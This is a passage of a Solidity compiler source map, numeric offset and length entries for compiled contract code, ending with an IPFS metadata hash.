;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:422;3306:1;3349:5;3306:1;3363:270;3384:7;3374:8;3371:21;3363:270;;;3443:4;3439:1;3435:6;3431:17;3425:4;3422:27;3419:53;;;3452:18;;:::i;:::-;3502:7;3492:8;3488:22;3485:55;;;3522:16;;;;3485:55;3601:22;;;;3561:15;;;;3363:270;;;3367:3;3217:422;;;;;:::o;3644:806::-;3693:5;3723:8;3713:80;;-1:-1:-1;3764:1:1;3778:5;;3713:80;3812:4;3802:76;;-1:-1:-1;3849:1:1;3863:5;;3802:76;3894:4;3912:1;3907:59;;;;3980:1;3975:130;;;;3887:218;;3907:59;3937:1;3928:10;;3951:5;;;3975:130;4012:3;4002:8;3999:17;3996:43;;;4019:18;;:::i;:::-;-1:-1:-1;;4075:1:1;4061:16;;4090:5;;3887:218;;4189:2;4179:8;4176:16;4170:3;4164:4;4161:13;4157:36;4151:2;4141:8;4138:16;4133:2;4127:4;4124:12;4120:35;4117:77;4114:159;;;-1:-1:-1;4226:19:1;;;4258:5;;4114:159;4305:34;4330:8;4324:4;4305:34;:::i;:::-;4375:6;4371:1;4367:6;4363:19;4354:7;4351:32;4348:58;;;4386:18;;:::i;:::-;4424:20;;3644:806;-1:-1:-1;;;3644:806:1:o;4455:140::-;4513:5;4542:47;4583:4;4573:8;4569:19;4563:4;4542:47;:::i;4600:168::-;4673:9;;;4704;;4721:15;;;4715:22;;4701:37;4691:71;;4742:18;;:::i;4773:356::-;4975:2;4957:21;;;4994:18;;;4987:30;5053:34;5048:2;5033:18;;5026:62;5120:2;5105:18;;4773:356::o;5486:251::-;5556:6;5609:2;5597:9;5588:7;5584:23;5580:32;5577:52;;;5625:1;5622;5615:12;5577:52;5657:9;5651:16;5676:31;5701:5;5676:31;:::i;6330:277::-;6397:6;6450:2;6438:9;6429:7;6425:23;6421:32;6418:52;;;6466:1;6463;6456:12;6418:52;6498:9;6492:16;6551:5;6544:13;6537:21;6530:5;6527:32;6517:60;;6573:1;6570;6563:12;6612:217;6652:1;6678;6668:132;;6722:10;6717:3;6713:20;6710:1;6703:31;6757:4;6754:1;6747:15;6785:4;6782:1;6775:15;6668:132;-1:-1:-1;6814:9:1;;6612:217::o;7446:306::-;7534:6;7542;7550;7603:2;7591:9;7582:7;7578:23;7574:32;7571:52;;;7619:1;7616;7609:12;7571:52;7648:9;7642:16;7632:26;;7698:2;7687:9;7683:18;7677:25;7667:35;;7742:2;7731:9;7727:18;7721:25;7711:35;;7446:306;;;;;:::o;10486:125::-;10551:9;;;10572:10;;;10569:36;;;10585:18;;:::i;10971:135::-;11010:3;11031:17;;;11028:43;;11051:18;;:::i;:::-;-1:-1:-1;11098:1:1;11087:13;;10971:135::o;11111:128::-;11178:9;;;11199:11;;;11196:37;;;11213:18;;:::i;11376:127::-;11437:10;11432:3;11428:20;11425:1;11418:31;11468:4;11465:1;11458:15;11492:4;11489:1;11482:15;11508:988;11778:4;11826:3;11815:9;11811:19;11857:6;11846:9;11839:25;11883:2;11921:6;11916:2;11905:9;11901:18;11894:34;11964:3;11959:2;11948:9;11944:18;11937:31;11988:6;12023;12017:13;12054:6;12046;12039:22;12092:3;12081:9;12077:19;12070:26;;12131:2;12123:6;12119:15;12105:29;;12152:1;12162:195;12176:6;12173:1;12170:13;12162:195;;;12241:13;;-1:-1:-1;;;;;12237:39:1;12225:52;;12332:15;;;;12297:12;;;;12273:1;12191:9;12162:195;;;-1:-1:-1;;;;;;;12413:32:1;;;;12408:2;12393:18;;12386:60;-1:-1:-1;;;12477:3:1;12462:19;12455:35;12374:3;11508:988;-1:-1:-1;;;11508:988:1:o

ipfs://6a04e9d1e6e99acdb50cb3e42f513b0c00cd139061c409bb0c604f3b95680464